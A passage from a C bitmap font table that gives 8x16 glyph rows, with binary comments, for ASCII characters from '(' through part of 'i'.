0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 40 0x28 '(' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x18, /* 00011000 */
0x0c, /* 00001100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 41 0x29 ')' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x30, /* 00110000 */
0x18, /* 00011000 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 42 0x2a '*' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x66, /* 01100110 */
0x3c, /* 00111100 */
0xff, /* 11111111 */
0x3c, /* 00111100 */
0x66, /* 01100110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 43 0x2b '+' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x7e, /* 01111110 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 44 0x2c ',' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 45 0x2d '-' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfe, /* 11111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 46 0x2e '.' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 47 0x2f '/' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x02, /* 00000010 */
0x06, /* 00000110 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x60, /* 01100000 */
0xc0, /* 11000000 */
0x80, /* 10000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 48 0x30 '0' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x38, /* 00111000 */
0x6c, /* 01101100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xd6, /* 11010110 */
0xd6, /* 11010110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x6c, /* 01101100 */
0x38, /* 00111000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 49 0x31 '1' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x38, /* 00111000 */
0x78, /* 01111000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x7e, /* 01111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 50 0x32 '2' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0x06, /* 00000110 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x60, /* 01100000 */
0xc0, /* 11000000 */
0xc6, /* 11000110 */
0xfe, /* 11111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 51 0x33 '3' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x3c, /* 00111100 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 52 0x34 '4' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x0c, /* 00001100 */
0x1c, /* 00011100 */
0x3c, /* 00111100 */
0x6c, /* 01101100 */
0xcc, /* 11001100 */
0xfe, /* 11111110 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x1e, /* 00011110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 53 0x35 '5' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfe, /* 11111110 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xfc, /* 11111100 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 54 0x36 '6' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x38, /* 00111000 */
0x60, /* 01100000 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xfc, /* 11111100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 55 0x37 '7' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfe, /* 11111110 */
0xc6, /* 11000110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 56 0x38 '8' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 57 0x39 '9' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x7e, /* 01111110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x06, /* 00000110 */
0x0c, /* 00001100 */
0x78, /* 01111000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 58 0x3a ':' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 59 0x3b ';' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 60 0x3c '<' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x06, /* 00000110 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x60, /* 01100000 */
0x30, /* 00110000 */
0x18, /* 00011000 */
0x0c, /* 00001100 */
0x06, /* 00000110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 61 0x3d '=' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7e, /* 01111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7e, /* 01111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 62 0x3e '>' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x60, /* 01100000 */
0x30, /* 00110000 */
0x18, /* 00011000 */
0x0c, /* 00001100 */
0x06, /* 00000110 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x60, /* 01100000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 63 0x3f '?' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 64 0x40 '@' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xde, /* 11011110 */
0xde, /* 11011110 */
0xde, /* 11011110 */
0xdc, /* 11011100 */
0xc0, /* 11000000 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 65 0x41 'A' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x10, /* 00010000 */
0x38, /* 00111000 */
0x6c, /* 01101100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xfe, /* 11111110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 66 0x42 'B' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfc, /* 11111100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x7c, /* 01111100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0xfc, /* 11111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 67 0x43 'C' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x3c, /* 00111100 */
0x66, /* 01100110 */
0xc2, /* 11000010 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xc2, /* 11000010 */
0x66, /* 01100110 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 68 0x44 'D' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xf8, /* 11111000 */
0x6c, /* 01101100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x6c, /* 01101100 */
0xf8, /* 11111000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 69 0x45 'E' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfe, /* 11111110 */
0x66, /* 01100110 */
0x62, /* 01100010 */
0x68, /* 01101000 */
0x78, /* 01111000 */
0x68, /* 01101000 */
0x60, /* 01100000 */
0x62, /* 01100010 */
0x66, /* 01100110 */
0xfe, /* 11111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 70 0x46 'F' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfe, /* 11111110 */
0x66, /* 01100110 */
0x62, /* 01100010 */
0x68, /* 01101000 */
0x78, /* 01111000 */
0x68, /* 01101000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0xf0, /* 11110000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 71 0x47 'G' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x3c, /* 00111100 */
0x66, /* 01100110 */
0xc2, /* 11000010 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xde, /* 11011110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x66, /* 01100110 */
0x3a, /* 00111010 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 72 0x48 'H' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xfe, /* 11111110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 73 0x49 'I' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x3c, /* 00111100 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 74 0x4a 'J' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x1e, /* 00011110 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0x78, /* 01111000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 75 0x4b 'K' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xe6, /* 11100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x6c, /* 01101100 */
0x78, /* 01111000 */
0x78, /* 01111000 */
0x6c, /* 01101100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0xe6, /* 11100110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 76 0x4c 'L' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xf0, /* 11110000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x62, /* 01100010 */
0x66, /* 01100110 */
0xfe, /* 11111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 77 0x4d 'M' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0xee, /* 11101110 */
0xfe, /* 11111110 */
0xfe, /* 11111110 */
0xd6, /* 11010110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 78 0x4e 'N' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0xe6, /* 11100110 */
0xf6, /* 11110110 */
0xfe, /* 11111110 */
0xde, /* 11011110 */
0xce, /* 11001110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 79 0x4f 'O' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 80 0x50 'P' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfc, /* 11111100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x7c, /* 01111100 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0xf0, /* 11110000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 81 0x51 'Q' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xd6, /* 11010110 */
0xde, /* 11011110 */
0x7c, /* 01111100 */
0x0c, /* 00001100 */
0x0e, /* 00001110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 82 0x52 'R' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfc, /* 11111100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x7c, /* 01111100 */
0x6c, /* 01101100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0xe6, /* 11100110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 83 0x53 'S' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x60, /* 01100000 */
0x38, /* 00111000 */
0x0c, /* 00001100 */
0x06, /* 00000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 84 0x54 'T' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7e, /* 01111110 */
0x7e, /* 01111110 */
0x5a, /* 01011010 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 85 0x55 'U' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 86 0x56 'V' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x6c, /* 01101100 */
0x38, /* 00111000 */
0x10, /* 00010000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 87 0x57 'W' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0xd6, /* 11010110 */
0xd6, /* 11010110 */
0xd6, /* 11010110 */
0xfe, /* 11111110 */
0xee, /* 11101110 */
0x6c, /* 01101100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 88 0x58 'X' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x6c, /* 01101100 */
0x7c, /* 01111100 */
0x38, /* 00111000 */
0x38, /* 00111000 */
0x7c, /* 01111100 */
0x6c, /* 01101100 */
0xc6, /* 11000110 */
0xc6, /* 11000110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 89 0x59 'Y' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x3c, /* 00111100 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 90 0x5a 'Z' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xfe, /* 11111110 */
0xc6, /* 11000110 */
0x86, /* 10000110 */
0x0c, /* 00001100 */
0x18, /* 00011000 */
0x30, /* 00110000 */
0x60, /* 01100000 */
0xc2, /* 11000010 */
0xc6, /* 11000110 */
0xfe, /* 11111110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 91 0x5b '[' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x3c, /* 00111100 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 92 0x5c '\' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x80, /* 10000000 */
0xc0, /* 11000000 */
0xe0, /* 11100000 */
0x70, /* 01110000 */
0x38, /* 00111000 */
0x1c, /* 00011100 */
0x0e, /* 00001110 */
0x06, /* 00000110 */
0x02, /* 00000010 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 93 0x5d ']' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x3c, /* 00111100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 94 0x5e '^' */
0x10, /* 00010000 */
0x38, /* 00111000 */
0x6c, /* 01101100 */
0xc6, /* 11000110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 95 0x5f '_' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xff, /* 11111111 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 96 0x60 '`' */
0x00, /* 00000000 */
0x30, /* 00110000 */
0x18, /* 00011000 */
0x0c, /* 00001100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 97 0x61 'a' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x78, /* 01111000 */
0x0c, /* 00001100 */
0x7c, /* 01111100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0x76, /* 01110110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 98 0x62 'b' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xe0, /* 11100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x78, /* 01111000 */
0x6c, /* 01101100 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 99 0x63 'c' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 100 0x64 'd' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x1c, /* 00011100 */
0x0c, /* 00001100 */
0x0c, /* 00001100 */
0x3c, /* 00111100 */
0x6c, /* 01101100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0x76, /* 01110110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 101 0x65 'e' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x7c, /* 01111100 */
0xc6, /* 11000110 */
0xfe, /* 11111110 */
0xc0, /* 11000000 */
0xc0, /* 11000000 */
0xc6, /* 11000110 */
0x7c, /* 01111100 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 102 0x66 'f' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x1c, /* 00011100 */
0x36, /* 00110110 */
0x32, /* 00110010 */
0x30, /* 00110000 */
0x78, /* 01111000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x30, /* 00110000 */
0x78, /* 01111000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 103 0x67 'g' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x76, /* 01110110 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0xcc, /* 11001100 */
0x7c, /* 01111100 */
0x0c, /* 00001100 */
0xcc, /* 11001100 */
0x78, /* 01111000 */
0x00, /* 00000000 */
/* 104 0x68 'h' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0xe0, /* 11100000 */
0x60, /* 01100000 */
0x60, /* 01100000 */
0x6c, /* 01101100 */
0x76, /* 01110110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0x66, /* 01100110 */
0xe6, /* 11100110 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x00, /* 00000000 */
/* 105 0x69 'i' */
0x00, /* 00000000 */
0x00, /* 00000000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x00, /* 00000000 */
0x38, /* 00111000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x18, /* 00011000 */
0x3c, /* 00111100 */
0x00, /* 00000000 */
